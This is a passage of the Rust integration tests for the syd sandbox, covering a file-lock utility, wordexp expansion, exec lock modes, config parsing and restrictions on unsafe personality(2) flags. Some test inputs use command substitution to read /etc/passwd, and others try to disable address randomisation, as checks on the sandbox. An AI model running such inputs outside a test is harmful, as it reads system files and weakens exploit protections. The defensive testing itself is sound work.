fn test_syd_dns_resolve_host_ipv6() -> TestResult {
    eprintln!("+ syd-dns -6 chesswob.org");
    let status = Command::new(&*SYD_DNS)
        .arg("-6")
        .arg("chesswob.org")
        .status()
        .expect("execute syd-dns");
    assert_status_ok!(status);

    let status = syd()
        .p("off")
        .argv([&*SYD_DNS])
        .arg("-6")
        .arg("chesswob.org")
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check syd-ofd(1) utility.
fn test_syd_ofd() -> TestResult {
    skip_unless_available!("sh", "mktemp");

    let status = Command::new("sh")
        .env("SYD_OFD", &*SYD_OFD)
        .env("SYD_PAUSE", &*SYD_PAUSE)
        .env("SYD_PDS", &*SYD_PDS)
        .arg("-c")
        .arg(
            r###"
#!/bin/sh

SYD_OFD="${SYD_PDS:-syd-pds} ${SYD_OFD:-syd-ofd}"
SYD_PAUSE="${SYD_PDS:-syd-pds} ${SYD_PAUSE:-syd-pause}"
FAIL=0
i=0
TOTAL=16

cwd=$(env TMPDIR=. mktemp -d syd_test_ofd_XXXXXXXXXX)
cd $cwd || exit 127

echo "    # Subtest: syd-ofd"
echo "    # 1..$TOTAL"

# T01: help -> 0
i=$((i + 1))
T="T01"
OUT="out.$T"
ERR="err.$T"
CMD="$SYD_OFD -h"
$SYD_OFD -h >"$OUT" 2>"$ERR"
RC=$?
if [ "$RC" -eq 0 ]; then
	echo "    ok $i - help"
else
	echo "    not ok $i - help"
	echo "    # rc=$RC exp=0"
	echo "    # cmd: $CMD"
	sed 's/^/    # stdout: /' "$OUT"
	sed 's/^/    # stderr: /' "$ERR"
	FAIL=$((FAIL + 1))
fi

# T02: basic -w true -> 0
rm -f lock1
i=$((i + 1))
T="T02"
OUT="out.$T"
ERR="err.$T"
CMD="$SYD_OFD lock1 true"
$SYD_OFD lock1 true >"$OUT" 2>"$ERR"
RC=$?
if [ "$RC" -eq 0 ]; then
	echo "    ok $i - basic -w true"
else
	echo "    not ok $i - basic -w true"
	echo "    # rc=$RC exp=0"
	echo "    # cmd: $CMD"
	ls -l lock1 2>/dev/null | sed 's/^/    # ls: /'
	sed 's/^/    # stdout: /' "$OUT"
	sed 's/^/    # stderr: /' "$ERR"
	FAIL=$((FAIL + 1))
fi

# T03: -w child exit=7 -> 7
rm -f lock2
i=$((i + 1))
T="T03"
OUT="out.$T"
ERR="err.$T"
CMD="$SYD_OFD -w lock2 sh -c 'exit 7'"
$SYD_OFD -w lock2 sh -c 'exit 7' >"$OUT" 2>"$ERR"
RC=$?
if [ "$RC" -eq 7 ]; then
	echo "    ok $i - -w child exit=7"
else
	echo "    not ok $i - -w child exit=7"
	echo "    # rc=$RC exp=7"
	echo "    # cmd: $CMD"
	ls -l lock2 2>/dev/null | sed 's/^/    # ls: /'
	sed 's/^/    # stdout: /' "$OUT"
	sed 's/^/    # stderr: /' "$ERR"
	FAIL=$((FAIL + 1))
fi

# T04: child SIGTERM -> 128+15=143
rm -f lock3
i=$((i + 1))
T="T04"
OUT="out.$T"
ERR="err.$T"
CMD="$SYD_OFD lock3 sh -c 'kill -TERM $$'"
$SYD_OFD lock3 sh -c 'kill -TERM $$' >"$OUT" 2>"$ERR"
RC=$?
if [ "$RC" -eq 143 ]; then
	echo "    ok $i - child SIGTERM -> 143"
else
	echo "    not ok $i - child SIGTERM"
	echo "    # rc=$RC exp=143"
	echo "    # cmd: $CMD"
	ls -l lock3 2>/dev/null | sed 's/^/    # ls: /'
	sed 's/^/    # stdout: /' "$OUT"
	sed 's/^/    # stderr: /' "$ERR"
	FAIL=$((FAIL + 1))
fi

# T05: -r with -r is compatible (nonblocking -> 0)
rm -f lock4
$SYD_OFD -r lock4 $SYD_PAUSE >/dev/null 2>&1 &
HPID=$!
# wait until a conflicting -w -n returns EAGAIN (11) => holder has the lock
c=0
while :; do
	$SYD_OFD -w -n lock4 true >/dev/null 2>&1
	T_RC=$?
	[ "$T_RC" -eq 11 ] && break
	c=$((c + 1))
	[ "$c" -ge 2000 ] && break
done
i=$((i + 1))
T="T05"
OUT="out.$T"
ERR="err.$T"
CMD="$SYD_OFD -r -n lock4 true"
$SYD_OFD -r -n lock4 true >"$OUT" 2>"$ERR"
RC=$?
kill "$HPID" >/dev/null 2>&1 || true
wait "$HPID" >/dev/null 2>&1 || true
if [ "$RC" -eq 0 ]; then
	echo "    ok $i - -r with -r nonblocking"
else
	echo "    not ok $i - -r with -r nonblocking"
	echo "    # rc=$RC exp=0"
	echo "    # cmd: $CMD"
	ls -l lock4 2>/dev/null | sed 's/^/    # ls: /'
	if [ -r /proc/locks ]; then grep lock4 /proc/locks | sed 's/^/    # /'; fi
	sed 's/^/    # stdout: /' "$OUT"
	sed 's/^/    # stderr: /' "$ERR"
	FAIL=$((FAIL + 1))
fi

# T06: -n with held -w -> EAGAIN(11)
rm -f lock5
$SYD_OFD -w lock5 $SYD_PAUSE >/dev/null 2>&1 &
HPID=$!
# ensure held
c=0
while :; do
	$SYD_OFD -w -n lock5 true >/dev/null 2>&1
	T_RC=$?
	[ "$T_RC" -eq 11 ] && break
	c=$((c + 1))
	[ "$c" -ge 2000 ] && break
done
i=$((i + 1))
T="T06"
OUT="out.$T"
ERR="err.$T"
CMD="$SYD_OFD -w -n lock5 true"
$SYD_OFD -w -n lock5 true >"$OUT" 2>"$ERR"
RC=$?
kill "$HPID" >/dev/null 2>&1 || true
wait "$HPID" >/dev/null 2>&1 || true
if [ "$RC" -eq 11 ]; then
	echo "    ok $i - -n conflict -> EAGAIN(11)"
else
	echo "    not ok $i - -n conflict"
	echo "    # rc=$RC exp=11(EAGAIN)"
	echo "    # cmd: $CMD"
	ls -l lock5 2>/dev/null | sed 's/^/    # ls: /'
	if [ -r /proc/locks ]; then grep lock5 /proc/locks | sed 's/^/    # /'; fi
	sed 's/^/    # stdout: /' "$OUT"
	sed 's/^/    # stderr: /' "$ERR"
	FAIL=$((FAIL + 1))
fi

# T07: -t 100ms under held -w -> EINTR(4)
rm -f lock6
$SYD_OFD -w lock6 $SYD_PAUSE >/dev/null 2>&1 &
HPID=$!
# ensure held
c=0
while :; do
	$SYD_OFD -w -n lock6 true >/dev/null 2>&1
	T_RC=$?
	[ "$T_RC" -eq 11 ] && break
	c=$((c + 1))
	[ "$c" -ge 2000 ] && break
done
i=$((i + 1))
T="T07"
OUT="out.$T"
ERR="err.$T"
CMD="$SYD_OFD -w -t 100 lock6 true"
$SYD_OFD -w -t 100 lock6 true >"$OUT" 2>"$ERR"
RC=$?
kill "$HPID" >/dev/null 2>&1 || true
wait "$HPID" >/dev/null 2>&1 || true
if [ "$RC" -eq 4 ]; then
	echo "    ok $i - -t timeout -> EINTR(4)"
else
	echo "    not ok $i - -t timeout"
	echo "    # rc=$RC exp=4(EINTR)"
	echo "    # cmd: $CMD"
	ls -l lock6 2>/dev/null | sed 's/^/    # ls: /'
	if [ -r /proc/locks ]; then grep lock6 /proc/locks | sed 's/^/    # /'; fi
	sed 's/^/    # stdout: /' "$OUT"
	sed 's/^/    # stderr: /' "$ERR"
	FAIL=$((FAIL + 1))
fi

# T08: -w vs held -r with -n -> EAGAIN(11)
rm -f lock7
$SYD_OFD -r lock7 $SYD_PAUSE >/dev/null 2>&1 &
HPID=$!
# ensure held (conflicting -w -n returns 11)
c=0
while :; do
	$SYD_OFD -w -n lock7 true >/dev/null 2>&1
	T_RC=$?
	[ "$T_RC" -eq 11 ] && break
	c=$((c + 1))
	[ "$c" -ge 2000 ] && break
done
i=$((i + 1))
T="T08"
OUT="out.$T"
ERR="err.$T"
CMD="$SYD_OFD -w -n lock7 true"
$SYD_OFD -w -n lock7 true >"$OUT" 2>"$ERR"
RC=$?
kill "$HPID" >/dev/null 2>&1 || true
wait "$HPID" >/dev/null 2>&1 || true
if [ "$RC" -eq 11 ]; then
	echo "    ok $i - -w blocked by -r -> EAGAIN(11)"
else
	echo "    not ok $i - -w blocked by -r"
	echo "    # rc=$RC exp=11(EAGAIN)"
	echo "    # cmd: $CMD"
	ls -l lock7 2>/dev/null | sed 's/^/    # ls: /'
	if [ -r /proc/locks ]; then grep lock7 /proc/locks | sed 's/^/    # /'; fi
	sed 's/^/    # stdout: /' "$OUT"
	sed 's/^/    # stderr: /' "$ERR"
	FAIL=$((FAIL + 1))
fi

# T09: -n on free lock -> 0
rm -f lock8
i=$((i + 1))
T="T09"
OUT="out.$T"
ERR="err.$T"
CMD="$SYD_OFD -n lock8 true"
$SYD_OFD -n lock8 true >"$OUT" 2>"$ERR"
RC=$?
if [ "$RC" -eq 0 ]; then
	echo "    ok $i - -n on free lock"
else
	echo "    not ok $i - -n on free lock"
	echo "    # rc=$RC exp=0"
	echo "    # cmd: $CMD"
	ls -l lock8 2>/dev/null | sed 's/^/    # ls: /'
	sed 's/^/    # stdout: /' "$OUT"
	sed 's/^/    # stderr: /' "$ERR"
	FAIL=$((FAIL + 1))
fi

# T10: -d 9 passes FD; child writes via FD 9 -> 0 and file nonempty
rm -f lock9
i=$((i + 1))
T="T10"
OUT="out.$T"
ERR="err.$T"
CMD="$SYD_OFD -d 9 lock9 sh -c 'printf x >&9'"
$SYD_OFD -d 9 lock9 sh -c 'printf x >&9' >"$OUT" 2>"$ERR"
RC=$?
if [ "$RC" -eq 0 ] && [ -s lock9 ]; then
	echo "    ok $i - -d 9 usable in child"
else
	echo "    not ok $i - -d 9 usable in child"
	echo "    # rc=$RC exp=0 and file nonempty"
	echo "    # cmd: $CMD"
	ls -l lock9 2>/dev/null | sed 's/^/    # ls: /'
	sed 's/^/    # stdout: /' "$OUT"
	sed 's/^/    # stderr: /' "$ERR"
	FAIL=$((FAIL + 1))
fi

# T11: '..' component -> EACCES(13)
: >lock.ok 2>/dev/null || true
mkdir -p A 2>/dev/null || true
i=$((i + 1))
T="T11"
OUT="out.$T"
ERR="err.$T"
CMD="$SYD_OFD A/../lock.ok true"
$SYD_OFD A/../lock.ok true >"$OUT" 2>"$ERR"
RC=$?
if [ "$RC" -eq 13 ]; then
	echo "    ok $i - '..' path -> EACCES(13)"
else
	echo "    not ok $i - '..' path"
	echo "    # rc=$RC exp=13"
	echo "    # cmd: $CMD"
	ls -l A/.. 2>/dev/null | sed 's/^/    # ls: /'
	sed 's/^/    # stdout: /' "$OUT"
	sed 's/^/    # stderr: /' "$ERR"
	FAIL=$((FAIL + 1))
fi

# T12: symlink component -> ELOOP(40)
rm -f LNK 2>/dev/null || true
ln -s . LNK 2>/dev/null || true
rm -f LNK/lock.loopy 2>/dev/null || true
i=$((i + 1))
T="T12"
OUT="out.$T"
ERR="err.$T"
CMD="$SYD_OFD LNK/lock.loopy true"
$SYD_OFD LNK/lock.loopy true >"$OUT" 2>"$ERR"
RC=$?
if [ "$RC" -eq 40 ]; then
	echo "    ok $i - symlink component -> ELOOP(40)"
else
	echo "    not ok $i - symlink component"
	echo "    # rc=$RC exp=40"
	echo "    # cmd: $CMD"
	ls -l LNK 2>/dev/null | sed 's/^/    # ls: /'
	sed 's/^/    # stdout: /' "$OUT"
	sed 's/^/    # stderr: /' "$ERR"
	FAIL=$((FAIL + 1))
fi

# T13: missing parent -> ENOENT(2)
MISSDIR="missingdir_$$"
rm -rf "$MISSDIR" 2>/dev/null || true
i=$((i + 1))
T="T13"
OUT="out.$T"
ERR="err.$T"
CMD="$SYD_OFD $MISSDIR/lock true"
$SYD_OFD "$MISSDIR/lock" true >"$OUT" 2>"$ERR"
RC=$?
if [ "$RC" -eq 2 ]; then
	echo "    ok $i - missing parent -> ENOENT(2)"
else
	echo "    not ok $i - missing parent"
	echo "    # rc=$RC exp=2"
	echo "    # cmd: $CMD"
	ls -ld "$MISSDIR" 2>/dev/null | sed 's/^/    # ls: /'
	sed 's/^/    # stdout: /' "$OUT"
	sed 's/^/    # stderr: /' "$ERR"
	FAIL=$((FAIL + 1))
fi

# T14: target is directory -> EISDIR(21)
rm -rf dir.lock 2>/dev/null || true
mkdir -p dir.lock 2>/dev/null || true
i=$((i + 1))
T="T14"
OUT="out.$T"
ERR="err.$T"
CMD="$SYD_OFD dir.lock true"
$SYD_OFD dir.lock true >"$OUT" 2>"$ERR"
RC=$?
if [ "$RC" -eq 21 ]; then
	echo "    ok $i - target is directory -> EISDIR(21)"
else
	echo "    not ok $i - target is directory"
	echo "    # rc=$RC exp=21"
	echo "    # cmd: $CMD"
	ls -ld dir.lock 2>/dev/null | sed 's/^/    # ls: /'
	sed 's/^/    # stdout: /' "$OUT"
	sed 's/^/    # stderr: /' "$ERR"
	FAIL=$((FAIL + 1))
fi

# T15: explicit -N success -> 0
rm -f lockN
i=$((i + 1))
T="T15"
OUT="out.$T"
ERR="err.$T"
CMD="$SYD_OFD -N lockN true"
$SYD_OFD -N lockN true >"$OUT" 2>"$ERR"
RC=$?
if [ "$RC" -eq 0 ]; then
	echo "    ok $i - -N explicit success"
else
	echo "    not ok $i - -N explicit success"
	echo "    # rc=$RC exp=0"
	echo "    # cmd: $CMD"
	ls -l lockN 2>/dev/null | sed 's/^/    # ls: /'
	sed 's/^/    # stdout: /' "$OUT"
	sed 's/^/    # stderr: /' "$ERR"
	FAIL=$((FAIL + 1))
fi

# T16: exec failure -> ENOENT(2)
rm -f lockE
i=$((i + 1))
T="T16"
OUT="out.$T"
ERR="err.$T"
CMD="$SYD_OFD lockE /this/definitely/does/not/exist"
$SYD_OFD lockE /this/definitely/does/not/exist >"$OUT" 2>"$ERR"
RC=$?
if [ "$RC" -eq 2 ]; then
	echo "    ok $i - exec failure -> ENOENT(2)"
else
	echo "    not ok $i - exec failure"
	echo "    # rc=$RC exp=2"
	echo "    # cmd: $CMD"
	ls -l lockE 2>/dev/null | sed 's/^/    # ls: /'
	sed 's/^/    # stdout: /' "$OUT"
	sed 's/^/    # stderr: /' "$ERR"
	FAIL=$((FAIL + 1))
fi

if [ "$FAIL" -eq 0 ]; then
	echo "    ok - syd-ofd subtest"
	exit 0
else
	echo "    not ok - syd-ofd subtest"
	echo "    # $FAIL failure(s) out of $TOTAL"
	exit "$FAIL"
fi
"###,
        )
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

// Check our wordexp(3) wrapper using its syd-env interface.
#[cfg(not(target_os = "android"))]
fn test_syd_wordexp() -> TestResult {
    skip_unless_available!("sh");

    use syd::wordexp::{
        WRDE_BADCHAR, WRDE_BADVAL, WRDE_CMDSUB, WRDE_NOSPACE, WRDE_SECCOMP, WRDE_SYNTAX,
        WRDE_TIMEOUT,
    };

    fn wrde2str(err: i32) -> String {
        match err {
            0 => "success".to_string(),
            128 => "unknown error".to_string(),
            WRDE_NOSPACE => "WRDE_NOSPACE".to_string(),
            WRDE_BADCHAR => "WRDE_BADCHAR".to_string(),
            WRDE_BADVAL => "WRDE_BADVAL".to_string(),
            WRDE_CMDSUB => "WRDE_CMDSUB".to_string(),
            WRDE_SYNTAX => "WRDE_SYNTAX".to_string(),
            WRDE_SECCOMP => "WRDE_SECCOMP".to_string(),
            WRDE_TIMEOUT => "WRDE_TIMEOUT".to_string(),
            _ => {
                let errno = Errno::from_raw(err);
                let mut errmsg = format!("errno {errno}");
                if let Ok(sig) = Signal::try_from(err) {
                    errmsg.push_str(&format!("or signal {}", sig.as_str()));
                }
                errmsg
            }
        }
    }

    #[expect(clippy::type_complexity)]
    struct ExpandTest<'a> {
        name: &'a str,
        arg: &'a [u8],
        env_add: &'a [(&'a [u8], &'a [u8])],
        env_rem: &'a [&'a [u8]],
        out_err: Option<i32>,
        out_ret: Option<&'a [u8]>,
    }

    // Define the test cases.
    let tests: Vec<ExpandTest> = vec![
        ExpandTest {
            name: "[basic] empty string returns itself",
            arg: b"",
            env_add: &[],
            env_rem: &[],
            out_err: None,
            out_ret: Some(b""),
        },
        ExpandTest {
            name: "[basic] literal string returns itself",
            arg: b"oops",
            env_add: &[],
            env_rem: &[],
            out_err: None,
            out_ret: Some(b"oops"),
        },
        ExpandTest {
            name: "[basic] expand single variable",
            arg: b"$TEST",
            env_add: &[(b"TEST", b"/home")],
            env_rem: &[],
            out_err: None,
            out_ret: Some(b"/home"),
        },
        ExpandTest {
            name: "[basic] expand single variable with curly brackets",
            arg: b"${TEST}",
            env_add: &[(b"TEST", b"/home")],
            env_rem: &[],
            out_err: None,
            out_ret: Some(b"/home"),
        },
        ExpandTest {
            name: "[basic] expand single variable with curly brackets and default",
            arg: b"${TEST:-1}",
            env_add: &[(b"TEST", b"/home")],
            env_rem: &[],
            out_err: None,
            out_ret: Some(b"/home"),
        },
        ExpandTest {
            name: "[basic] default expand single variable with curly brackets and default",
            arg: b"${TEST:-1}",
            env_add: &[],
            env_rem: &[b"TEST"],
            out_err: None,
            out_ret: Some(b"1"),
        },
        ExpandTest {
            name: "[basic] default env expand single variable with curly brackets and default",
            arg: b"${TEST:-$DEFAULT}",
            env_add: &[(b"DEFAULT", b"1")],
            env_rem: &[b"TEST"],
            out_err: None,
            out_ret: Some(b"1"),
        },
        ExpandTest {
            name: "[basic] double env expand single variable with curly brackets and default",
            arg: b"${TEST:-${DEFAULT}}",
            env_add: &[(b"DEFAULT", b"1")],
            env_rem: &[b"TEST"],
            out_err: None,
            out_ret: Some(b"1"),
        },
        ExpandTest {
            name: "[timeout] basic time out",
            arg: b"$(sleep 5)",
            env_add: &[],
            env_rem: &[],
            out_err: Some(WRDE_TIMEOUT),
            out_ret: None,
        },
        ExpandTest {
            name: "[timeout] beat time out",
            arg: b"`sleep 2; echo 1`",
            env_add: &[],
            env_rem: &[],
            out_err: None,
            out_ret: Some(b"1"),
        },
        // Test nested command substitution
        ExpandTest {
            name: "[complex] nested command substitution",
            arg: b"$(echo $(echo nested))",
            env_add: &[],
            env_rem: &[],
            out_err: None,
            out_ret: Some(b"nested"),
        },
        // Test multiple variable expansion in one string
        ExpandTest {
            name: "[complex] multiple variable expansion",
            arg: b"$VAR1 and $VAR2",
            env_add: &[(b"VAR1", b"hello"), (b"VAR2", b"world")],
            env_rem: &[],
            out_err: None,
            out_ret: Some(b"hello and world"),
        },
        // Test syntax error with unbalanced curly braces
        ExpandTest {
            name: "[syntax] unbalanced curly braces",
            arg: b"${unbalanced",
            env_add: &[],
            env_rem: &[],
            out_err: Some(WRDE_SYNTAX),
            out_ret: None,
        },
        // Test expansion with recursion limit
        ExpandTest {
            name: "[complex] recursion limit",
            arg: b"${VAR1:-${VAR2:-${VAR3:-$VAR4}}}",
            env_add: &[(b"VAR4", b"deep")],
            env_rem: &[b"VAR1", b"VAR2", b"VAR3"],
            out_err: None,
            out_ret: Some(b"deep"),
        },
        // Test command substitution with pipes.
        // Landlock allows access to /etc/passwd.
        ExpandTest {
            name: "[complex] command with pipes",
            arg: b"$(grep -m1 root /etc/passwd | cut -d: -f1)",
            env_add: &[],
            env_rem: &[],
            out_err: None,
            out_ret: Some(b"root"),
        },
        // Test command substitution that generates an empty replacement
        ExpandTest {
            name: "[edge] empty command substitution",
            arg: b"$(echo)",
            env_add: &[],
            env_rem: &[],
            out_err: Some(WRDE_BADVAL),
            out_ret: None,
        },
    ];

    let mut fails = 0;
    let tests_len = tests.len();
    for test in tests {
        let mut result_passed = true;
        let mut error_message = String::new();

        let mut cmd = Command::new("timeout");
        if check_timeout_foreground() {
            cmd.arg("--foreground");
            cmd.arg("--preserve-status");
            cmd.arg("--verbose");
        }
        cmd.arg("-sKILL");
        cmd.arg(env::var("SYD_TEST_TIMEOUT").unwrap_or("1m".to_string()));
        cmd.arg(&*SYD_ENV);
        for env in test.env_rem {
            cmd.env_remove(OsStr::from_bytes(env));
        }
        for (env, var) in test.env_add {
            cmd.env(OsStr::from_bytes(env), OsStr::from_bytes(var));
        }
        cmd.arg("-e");
        cmd.arg(OsStr::from_bytes(test.arg));
        cmd.env(ENV_LOG, "debug");
        cmd.stderr(Stdio::inherit());
        eprintln!("\x1b[93m+ {cmd:?}\x1b[0m");
        let output = cmd.output().expect("execute syd-env");

        let mycode = output.status.code().unwrap_or(128);
        let excode = test.out_err.unwrap_or(0);

        if mycode != excode {
            result_passed = false;
            error_message = format!(
                "unexpected exit code {}, expected {}",
                wrde2str(mycode),
                wrde2str(excode)
            );
        }
        if let Some(out) = test.out_ret {
            if output.stdout != out {
                result_passed = false;
                error_message = format!("unexpected output: {}", HEXLOWER.encode(&output.stdout));
            }
        }

        // Print the test result.
        if result_passed {
            eprintln!("PASS: {}", test.name);
        } else {
            eprintln!("FAIL: {} - {error_message}", test.name);
            fails += 1;
        }
    }

    if fails == 0 {
        eprintln!("All {tests_len} tests have passed.");
        Ok(())
    } else {
        eprintln!("{fails} out of {tests_len} tests have failed.");
        Err(TestError("OOPS".to_string()))
    }
}

fn test_syd_cmd_exec_with_lock_default() -> TestResult {
    skip_unless_available!("bash", "sleep");

    let status = syd()
        .p("off")
        .argv(["bash", "-cex"])
        .arg(format!(
            "
#!/bin/bash
: > test
cat > exec.sh <<EOF
#!/bin/bash -ex
# Careful here, cmd/exec changes CWD to /.
echo OK > $PWD/test
exit 42
EOF
chmod +x exec.sh
test -c \"$({} $PWD/exec.sh)\"
sleep 5
test -s ./test
true
",
            *SYD_EXEC
        ))
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    Ok(())
}

fn test_syd_cmd_exec_with_lock_on() -> TestResult {
    skip_unless_available!("bash", "chmod", "sleep", "true");

    let status = syd()
        .p("off")
        .m("lock:on")
        .argv(["bash", "-cex"])
        .arg(format!(
            "
#!/bin/bash
: > test
cat > exec.sh <<EOF
#!/bin/bash -ex
# Careful here, cmd/exec changes CWD to /.
echo OK > $PWD/test
exit 42
EOF
chmod +x exec.sh
test -c \"$({} $PWD/exec.sh)\"
sleep 5
test -s ./test
true
",
            *SYD_EXEC
        ))
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    Ok(())
}

fn test_syd_cmd_exec_with_lock_off_1() -> TestResult {
    skip_unless_available!("bash", "chmod", "sleep", "true");

    let status = syd()
        .p("off")
        .m("lock:off")
        .argv(["bash", "-cex"])
        .arg(format!(
            "
#!/bin/bash
: > test
cat > exec.sh <<EOF
#!/bin/bash -ex
# Careful here, cmd/exec changes CWD to /.
echo OK > $PWD/test
exit 42
EOF
chmod +x exec.sh
test -c \"$({} $PWD/exec.sh)\"
sleep 5
test -s ./test
true
",
            *SYD_EXEC
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_cmd_exec_with_lock_off_2() -> TestResult {
    skip_unless_available!("bash", "cat", "chmod", "true");

    let status = syd()
        .p("off")
        .m("lock:off")
        .argv(["bash", "-cex"])
        .arg(format!(
            "
#!/bin/bash
: > test
cat > exec.sh <<EOF
#!/bin/bash -ex
# Careful here, cmd/exec changes CWD to /.
echo OK > $PWD/test
exit 42
EOF
chmod +x exec.sh
(
    test -c \"$({} $PWD/exec.sh)\"
) &
wait
sleep 5
test -s ./test
true
",
            *SYD_EXEC
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_cmd_exec_with_lock_exec_1() -> TestResult {
    skip_unless_available!("bash", "cat", "chmod", "true");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .argv(["bash", "-cex"])
        .arg(format!(
            "
#!/bin/bash
: > test
cat > exec.sh <<EOF
#!/bin/bash -ex
# Careful here, cmd/exec changes CWD to /.
echo OK > $PWD/test
exit 42
EOF
chmod +x exec.sh
test -c \"$({} $PWD/exec.sh)\"
sleep 5
test -s ./test
true
",
            *SYD_EXEC
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_cmd_exec_with_lock_exec_2() -> TestResult {
    skip_unless_available!("bash", "cat", "chmod", "true");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .argv(["bash", "-cex"])
        .arg(format!(
            "
#!/bin/bash
: > test
cat > exec.sh <<EOF
#!/bin/bash -ex
# Careful here, cmd/exec changes CWD to /.
echo OK > $PWD/test
exit 42
EOF
chmod +x exec.sh
(
    test -c \"$({} $PWD/exec.sh)\"
) &
wait
sleep 5
test -s ./test
true
",
            *SYD_EXEC
        ))
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    Ok(())
}

fn test_syd_parse_config() -> TestResult {
    skip_unless_available!("true");

    let conf = "lock:on\n";
    let mut file = File::create("conf.syd-3")?;
    write!(file, "{conf}")?;
    drop(file);

    let status = syd()
        .p("off")
        .P("./conf.syd-3")
        .args(["--", "true"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let status = syd()
        .p("off")
        .P("./conf.syd-3")
        .m("lock:exec")
        .args(["--", "true"])
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    Ok(())
}

fn test_syd_include_config() -> TestResult {
    skip_unless_available!("true");

    let idir = " Change\treturn\tsuccess.\tGoing\tand\tcoming\twithout\terror.\tAction\tbrings\tgood\tfortune. ";
    create_dir_all(idir)?;

    let name =
        " Change return success. Going and coming without error.\tAction brings good fortune.";
    let conf = "lock:${SYD_LOCK_STATE}\n";
    let mut file = File::create(format!("./{idir}/{name}.syd-3"))?;
    write!(file, "{conf}")?;
    drop(file);

    let conf = format!("include {name}.syd-3\n");
    let mut file = File::create(format!("./{idir}/conf.syd-3"))?;
    write!(file, "{conf}")?;
    drop(file);

    let status = syd()
        .env("SYD_LOCK_STATE", "on")
        .p("off")
        .P(format!("./{idir}/conf.syd-3"))
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let status = syd()
        .env("SYD_LOCK_STATE", "on")
        .p("off")
        .P(format!("./{idir}/conf.syd-3"))
        .m("lock:exec")
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    Ok(())
}

fn test_syd_shellexpand_01() -> TestResult {
    skip_unless_available!("true");

    let conf = "allow/write+${SYD_TEST_OOPS}/***\n";
    let mut file = File::create("conf.syd-3")?;
    write!(file, "{conf}")?;
    drop(file);

    let status = syd()
        .env("SYD_TEST_OOPS", "/home")
        .p("off")
        .P("./conf.syd-3")
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_shellexpand_02() -> TestResult {
    skip_unless_available!("true");

    let conf = "allow/write+${SYD_TEST_OOPS}\n";
    let mut file = File::create("conf.syd-3")?;
    write!(file, "{conf}")?;
    drop(file);

    let status = syd()
        .env_remove("SYD_TEST_OOPS")
        .p("off")
        .P("./conf.syd-3")
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    Ok(())
}

fn test_syd_shellexpand_03() -> TestResult {
    skip_unless_available!("true");

    let conf = "allow/write+${SYD_TEST_OOPS:-/home}/***\n";
    let mut file = File::create("conf.syd-3")?;
    write!(file, "{conf}")?;
    drop(file);

    let status = syd()
        .env_remove("SYD_TEST_OOPS")
        .p("off")
        .P("./conf.syd-3")
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_shellexpand_04() -> TestResult {
    skip_unless_available!("true");

    let conf = "allow/write+${SYD_TEST_OOPS:-}/***\n";
    let mut file = File::create("conf.syd-3")?;
    write!(file, "{conf}")?;
    drop(file);

    let status = syd()
        .env_remove("SYD_TEST_OOPS")
        .p("off")
        .P("./conf.syd-3")
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Tests if restricting unsafe personality(2) personas work.
fn test_syd_personality_uname26() -> TestResult {
    // UNAME26 is allowed by default.
    //
    // nix does not define `Persona::UNAME26` on musl!
    const UNAME26: Persona = Persona::from_bits_retain(0x0020000);

    let status = syd()
        .p("off")
        .do_("personality", [UNAME26.bits().to_string()])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Tests if restricting unsafe personality(2) personas work.
fn test_syd_personality_read_implies_exec() -> TestResult {
    // READ_IMPLIES_EXEC is killed by default.
    let status = syd()
        .p("off")
        .do_(
            "personality",
            [Persona::READ_IMPLIES_EXEC.bits().to_string()],
        )
        .status()
        .expect("execute syd");
    assert_status_sigsys!(status);

    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_personality:1")
        .do_(
            "personality",
            [Persona::READ_IMPLIES_EXEC.bits().to_string()],
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Tests if restricting unsafe personality(2) personas work.
fn test_syd_personality_addr_no_randomize() -> TestResult {
    // ADDR_NO_RANDOMIZE is killed by default.
    let status = syd()
        .p("off")
        .do_(
            "personality",
            [Persona::ADDR_NO_RANDOMIZE.bits().to_string()],
        )
        .status()
        .expect("execute syd");
    assert_status_sigsys!(status);

    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_personality:1")
        .do_(
            "personality",
            [Persona::ADDR_NO_RANDOMIZE.bits().to_string()],
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Tests if restricting unsafe personality(2) personas work.
fn test_syd_personality_addr_compat_layout() -> TestResult {
    // READ_IMPLIES_EXEC is killed by default.
    let status = syd()
        .p("off")
        .do_(
            "personality",
            [Persona::ADDR_COMPAT_LAYOUT.bits().to_string()],
        )
        .status()
        .expect("execute syd");
    assert_status_sigsys!(status);

    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_personality:1")
        .do_(
            "personality",
            [Persona::ADDR_COMPAT_LAYOUT.bits().to_string()],
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Tests if restricting unsafe personality(2) personas work.
fn test_syd_personality_mmap_page_zero() -> TestResult {
    // READ_IMPLIES_EXEC is killed by default.
    let status = syd()
        .p("off")
        .do_("personality", [Persona::MMAP_PAGE_ZERO.bits().to_string()])
        .status()
        .expect("execute syd");
    assert_status_sigsys!(status);

    let status = syd()
        .p("off")
